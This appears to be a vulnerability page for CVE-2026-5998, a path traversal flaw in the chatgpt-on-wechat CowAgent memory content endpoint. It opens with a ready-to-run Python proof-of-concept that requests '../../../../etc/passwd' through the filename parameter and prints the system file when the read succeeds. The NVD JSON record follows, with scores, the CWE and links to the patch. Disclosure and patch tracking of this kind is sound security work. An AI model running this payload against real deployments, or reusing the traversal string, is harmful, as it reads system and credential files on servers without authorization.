CVE-2026-5998

import requests def exploit_poc(target_url): """ PoC for CVE-2026-5998: Path Traversal in zhayujie chatgpt-on-wechat """ # Vulnerable endpoint based on description (API Memory Content Endpoint) endpoint = "/api/memory/content" # Malicious filename parameter to traverse directories # Attempting to read /etc/passwd on Linux systems payload = { "filename": "../../../../etc/passwd" } try: # Sending the GET request to the target response = requests.get(f"{target_url}{endpoint}", params=payload, timeout=10) # Check if the response contains indicators of success if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability exploited successfully!") print(f"[+] Response content:\n{response.text}") else: print("[-] Exploit failed or target is not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_poc(target)

{"cve": {"id": "CVE-2026-5998", "sourceIdentifier": "[email protected]", "published": "2026-04-10T02:16:04.460", "lastModified": "2026-04-24T18:01:58.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in zhayujie chatgpt-on-wechat CowAgent up to 2.0.4. This affects the function dispatch of the file agent/memory/service.py of the component API Memory Content Endpoint. This manipulation of the argument filename causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. Upgrading to version 2.0.5 mitigates this issue. Patch name: 174ee0cafc9e8e9d97a23c305418251485b8aa89. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/zhayujie/chatgpt-on-wechat/commit/174ee0cafc9e8e9d97a23c305418251485b8aa89", "source": "[email protected]"}, {"url": "https://github.com/zhayujie/chatgpt-on-wechat/issues/2734", "source": "[email protected]"}, {"url": "https://github.com/zhayujie/chatgpt-on-wechat/issues/2734#issue-4178013778", "source": "[email protected]"}, {"url": "https://github.com/zhayujie/chatgpt-on-wechat/releases/tag/2.0.5", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/793558", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356552", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356552/cti", "source": "[email protected]"}]}}